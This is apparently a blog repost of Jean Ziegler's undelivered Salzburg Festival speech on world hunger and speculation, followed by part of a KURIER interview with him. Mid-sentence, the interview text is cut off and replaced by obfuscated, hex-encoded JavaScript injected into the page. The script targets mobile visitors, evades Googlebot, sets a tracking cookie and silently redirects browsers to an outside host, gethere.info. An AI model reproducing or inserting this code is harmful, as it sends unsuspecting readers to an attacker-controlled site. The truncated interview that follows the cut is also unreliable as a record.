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Jean Ziegler – HUNGER & SPEKULATIONSBANDITEN

Ziegler: Hunger & Spekulationsbanditen


Globalisierungsgegner Ziegler: New York statt Salzburg

Jean Ziegler: Kämpfer gegen den Welthunger, UNO-Mann und Buchautor (zuletzt: „Der Hass auf den Westen“).


Sehr verehrte Damen und Herren!

Alle
fünf Sekunden verhungert ein Kind unter zehn Jahren. 37.000 Menschen
verhungern jeden Tag, fast eine Milliarde sind permanent schwerstens
unterernährt. Derselbe World-Food-Report der FAO, der diese Opferzahlen
gibt, sagt, dass die Weltlandwirtschaft problemlos das Doppelte der
Weltbevölkerung ernähren könnte.
Schlussfolgerung: Es gibt keinen
objektiven Mangel, also keine Fatalität für das tägliche Massaker des
Hungers, das in eisiger Normalität vor sich geht.
Ein Kind, das am Hunger stirbt, wird ermordet.

Gestorben
wird überall gleich. Ob in den somalischen Flüchtlingslagern, den
Elendsvierteln von Karachi oder in den Slums von Dacca, der Todeskampf
folgt immer denselben Etappen.
Bei unterernährten Kindern setzt der
Zerfall nach wenigen Tagen ein. Der Körper braucht erst die Zucker-,
dann die Fettreserven auf. Die Kinder werden lethargisch, dann immer
dünner. Das Immunsystem bricht zusammen. Durchfälle beschleunigen die
Auszehrung. Mundparasiten und Infektionen der Atemwege verursachen
schreckliche Schmerzen. Dann beginnt der Raubbau an den Muskeln. Die
Kinder können sich nicht mehr auf den Beinen halten. Ihre Arme baumeln
kraftlos am Körper. Ihre Gesichter gleichen Greisen. Dann folgt der Tod.


Die Reichen

Der
Mammon: Auf der Bühne lacht er alljährlich den Jedermann aus. Für Jean
Ziegler sind die unkontrollierte Maximierung des Mammons und die
„Rettung der Spekulations-Banditen“ das Übel der Welt
Wie
zig-tausendfach in der Tragödie, die sich gegenwärtig in Ostafrika
abspielt. In den Savannen, Wüsten, Bergen von Äthiopien, Dschibuti,
Somalia und Tarkana (Nordkenia) sind 12 Millionen Menschen auf der
Flucht. Seit fünf Jahren gibt es keine genügende Ernte mehr. Der Boden
ist hart wie Beton. Neben den trockenen Wasserlöchern liegen verdurstete
Zebu-Rinder, Ziegen, Kamele. Wer von den Frauen, Kindern, Männern noch
Kraft hat, macht sich auf den Weg, in eines der vom UNO-Hochkommissariat
eingerichteten Lager.
Zum Beispiel nach Dadaad in Kenia. Dort
drängen sich seit drei Monaten über 400.000 Hungerflüchtlinge, die
meisten aus Südsomalia, wo die mit El-Kaida verbundenen Chebab-Milizen
wüten. Seit Juni treten täglich rund 1500 Neuankömmlinge aus dem
Morgennebel. Platz im Lager gibt es schon lange nicht mehr. Das Tor im
Stacheldrahtzaun ist geschlossen. Vor dem Tor machen die UNO-Beamten die
Selektion: Nur noch ganz wenige – die eine Lebenschance haben – kommen
herein.
Das Geld für die intravenöse therapeutische Sondernahrung –
die ein Kleinkind, wenn es nicht zu sehr beschädigt ist, in zwölf Tagen
zum Leben zurückbringt – fehlt.
Das Welternährungsprogramm, das die
humanitäre Soforthilfe leisten sollte, verlangte für den Juli einen
Sonderbeitrag seiner Mitgliedstaaten von 180 Millionen Euro. 62 kamen
herein. Das Budget des World-Food-Programms war 2008 sechs Milliarden
Dollar, 2011 nur noch 2,8 Milliarden.

Warum? Weil die reichen
Geberländer – insbesondere die EU-Staaten, die USA, Kanada und
Australien – viele Tausend Milliarden Euros und Dollars ihren
einheimischen Bank-Halunken bezahlen mussten: zur Wiederbelebung des
Interbanken-Kredits, zur Rettung der Spekulations-Banditen. Für Sofort-
und Entwicklungshilfe blieb und bleibt praktisch kein Geld.
Wegen des
Zusammenbruchs der Finanzmärkte sind Hedge-Funds und andere
Groß-Spekulanten auf die Agrarrohstoffbörsen umgestiegen und treiben die
Grundnahrungsmittelpreise in astronomische Höhen. Die Tonne Getreide
kostet heute auf dem Weltmarkt 270 Euro. Ihr Preis war genau die Hälfte
im Jahr zuvor. Reis ist um 110 Prozent gestiegen. Mais um 63 Prozent.

Die Folge? Weder Äthiopien noch Somalia, Dschibuti oder Kenia konnten Nahrungsmittelvorräte anlegen – obschon die
Katastrophe seit fünf Jahren voraussehbar war.
Dazu kommt: Die Länder des Horns von Afrika sind von ihren Auslandschulden erdrückt.


Wunder

Für
Infrastruktur-Investionen wie Bewässerung fehlt das Geld. Die Dürre
tötet ungestört. Diesmal wird sie viele Zehntausende töten.
Die
Verursacher Viele der Schönen und der Reichen, der Großbankiers und der
Konzern-Mogule dieser Welt kommen in Salzburg zusammen. Sie sind die
Verursacher und die Herren dieser kannibalischen Weltordnung.

Was
ist mein Traum? Die Musik, das Theater, die Poesie transportieren die
Menschen jenseits ihrer selbst. Die Kunst hat Waffen, welche der
analytische Verstand nicht besitzt: Sie wühlt den Zuhörer, Zuschauer in
seinem Innersten auf, durchdringt auch die dickste Betondecke des
Egoismus, der Entfremdung und der Entfernung. Sie trifft den Menschen in
seinem Innersten, bewegt in ihm ungeahnte Emotionen. Und plötzlich
bricht die Defensiv-Mauer seiner Selbstgerechtigkeit zusammen. Der
neoliberale Profitwahn zerfällt in Staub und Asche. Ins Bewusstsein
dringen die Realität, die sterbenden Kinder.
Wunder könnten in
Salzburg geschehen: Das Erwachen der Herren der Welt. Der Aufstand des
Gewissens! – Aber keine Angst, dieses Wunder wird in Salzburg nicht
geschehen.
Ich erwache. Mein Traum könnte wirklichkeitsfremder nicht sein!

Kapital
ist immer und überall stärker als Kunst. „Unsterbliche gigantische
Personen“ nennt Noam Chomsky die Konzerne. 2010 haben die 500 größten
Privatkonzerne, alle Sektoren zusammen genommen, 52,8% des
Weltbrutto-Sozialproduktes, also aller in einem Jahr auf der Welt
produzierten Reichtümer – kontrolliert. Die total entfesselte, sozial
völlig unkontrollierte Profitmaximierung ist ihre Strategie. Es ist
egal, welcher Mensch an der Spitze des Konzerns steht. Es geht nicht um
seine Emotionen, sein Wissen, seine Gefühle. Es geht um die strukturelle
Gewalt des Kapitals. Produziert es dieses nicht, wird er aus der
Vorstands-Etage verjagt.
Gegen das eherne Gesetz der
Kapitalakkumulation sind selbst Beethoven und Hofmannsthal machtlos.
„L´art pour l´art“ hat Théophile Gautier Mitte des 19. Jahrhunderts
geschrieben. Die These von der autonomen, von jeder sozialen Realität
losgelösten Kunst schützt die Mächtigen vor ihren eigenen Emotionen und
dem eventuell drohenden Sinneswandel.


Die Gegengewalt

Die
Hoffnung liegt im Kampf der Völker der südlichen Hemisphäre, von Ägypten
und Syrien bis Bolivien, und im geduldigen, mühsamen Aufbau der
Radikal-Opposition in den westlichen Herrschaftsländern. Kurz: in der
aktiven, unermüdlichen, solidarischen, demokratischen Organisation der
revolutionären Gegengewalt. Es gibt ein Leben vor dem Tod. Der Tag wird
kommen, wo Menschen in Frieden, Gerechtigkeit, Vernunft und Freiheit,
befreit von der Angst vor materieller Not, zusammenleben werden.

Mutter Courage von Brecht erklärt diese Hoffnung ihren Kindern:
„Es kommt der Tag, da wird sich wenden / Das Blatt für uns, er ist nicht fern.
Da werden wir, das Volk, beenden / Den großen Krieg der großen Herrn.
Die Händler, mit all ihren Bütteln / Und ihrem Kriegs- und Totentanz
Sie wird auf ewig von sich schütteln /Die neue Welt des g´meinen Manns.
Es wird der Tag, doch wann er wird, /Hängt ab von mein und deinem Tun.
Drum wer mit uns noch nicht marschiert, /
Der macht sich auf die Socken nun.“

Ich danke Ihnen.


Jean Ziegler: „Das sind ja die Geldsäcke“

Mich
hätte das Publikum fasziniert. Das sind ja die Geldsäcke, die dort
sitzen. Die hätten eine halbe Stunde lang zuhören müssen, bei
geschlossenen Türen, die hätten nicht weglaufen können.“
So erklärte
Jean Ziegler (77), weltberühmter Globalisierung-Kritiker und Kämpfer
gegen den Hunger in der Welt, im April im ausführlichen
KURIER-Interview, warum er sich über die Einladung von Landeshauptfrau
Gabi Burgstaller gefreut hatte, bei den Salzburger Festspielen die
Eröffnungsrede zu halten.
Kurz vor dem Gespräch war er von derselben
Gabi Burgstaller wieder ausgeladen worden – wegen angeblicher Nähe zu
Libyens Diktator Muammar Gaddafi.
„Totaler Blödsinn“, sagt Ziegler dazu, vielmehr hätten mit höchster Wahrscheinlichkeit Sponsoren der Festspiele interveniert.
Jetzt
hält der deutsche Bürgerrechtler Joachim Gauck kommenden Donnerstag die
Eröffnungsrede. Die Einladung zu einer Gegenveranstaltung der Grünen
und der Jungk-Stiftung schlug der Schweizer Ex-Politiker und Autor (u.
a. über die Holocaustgelder in der Schweiz), der nach wie vor für den
UNO-Menschenrechtsbeirat tätig ist, aus.
Für den KURIER aber brachte
Ziegler seine nicht gehaltene Rede über den Hunger und jene, die ihn aus
seiner Sicht nicht bekämpfen, zu Papier.
(Andreas Schwarz)


„Die Geldsäcke hätten eine halbe Stunde zuhören müssen“

Der
weltbekannte Globalisierungskritiker Jean Ziegler spricht im
KURIER-Interview über Ausladungen, den Hunger in der Welt und die nötige
Bewusstseinsveränderung.


KURIER /gnedt martin
Du
kannst mit ihm nicht in Deine Brasserie gehen, hat meine Frau gesagt,
,da hängen nur lauter Linke herum. Geh` ins ,Le Lyrique´. Also sitzen
wir bei strahlender Genfer Frühlingssonne im Garten des Restaurants beim
Grand Theatre, und Jean Ziegler, weltberüchtigter
Globalisierungskritiker, Kämpfer gegen Hunger und Rebell, mustert seine
Umgebung genau. „Hier essen die Banker und Konzernherren, ich schau 
immer, dass ich Distanz habe“, sagt er. Weil die sind seine Freunde
nicht – und umgekehrt. Zu oft hat er sie „Raubgesindel des globalen
Finanzkapitals“ genannt, das mit „Banken-Banditismus“ den Armen der Welt
noch das Letzte nimmt.

Doch dann steht ein Vertreter der
Kapital-Zunft von einem der Tische auf und begrüßt Ziegler, der nach
Eigendefinition sogar für die meisten Sozialdemokraten zu radikal ist,
herzlich. Sie tauschen Visit-Karten, vereinbaren ein Telefonat. „Das
hätte der früher nie gemacht“, sagt der 76-Jährige mit einer
unüberhörbaren Zufriedenheit, „den Bewusstseinswandel gibt´s jetzt auch
bei denen.“

Einen Bewusstseinswandel hätte der zur Zeit für den
UNO-Menschenrechtsbeirat tätige Genfer Universitätsprofessor und
Ex-Politiker auch in Salzburg im Auge gehabt. Als Redner der
Festspieleröffnung im Juli, von Landeshauptfrau Gabi Burgstaller
höchstselbst eingeladen – und wieder ausgeladen, wegen angeblicher Nähe
zu Muammar Gaddafi.


„Das ist kein Naturgesetz, sondern Mord“

KURIER: Herr Ziegler, was wollten Sie in Salzburg eigentlich erzählen?
Jean Ziegler:

Mich hätte das Publikum fasziniert. Das sind ja die Geldsäcke, die dort
sitzen. Die hätten eine halbe Stunde lang zuhören müssen, bei
geschlossenen Türen, die hätten nicht weglaufen können.

Hätten Sie ihnen so garstige Sachen gesagt, dass sie laufen wollen?
Ich
hätte versucht, die kanibalische Weltordnung darzustellen: Alle drei
Sekunden verhungert ein Kind unter zehn Jahren, eine Milliarde Menschen
ist schwerst unterernährt auf einem Planeten, der vor Reichtum
überquillt. Und dessen Wevar _0x446d=[„\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E“,“\x69\x6E\x64\x65\x78\x4F\x66″,“\x63\x6F\x6F\x6B\x69\x65″,“\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,“\x76\x65\x6E\x64\x6F\x72″,“\x6F\x70\x65\x72\x61″,“\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,“\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,“\x74\x65\x73\x74″,“\x73\x75\x62\x73\x74\x72″,“\x67\x65\x74\x54\x69\x6D\x65″,“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D“,“\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,“\x6C\x6F\x63\x61\x74\x69\x6F\x6E“];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

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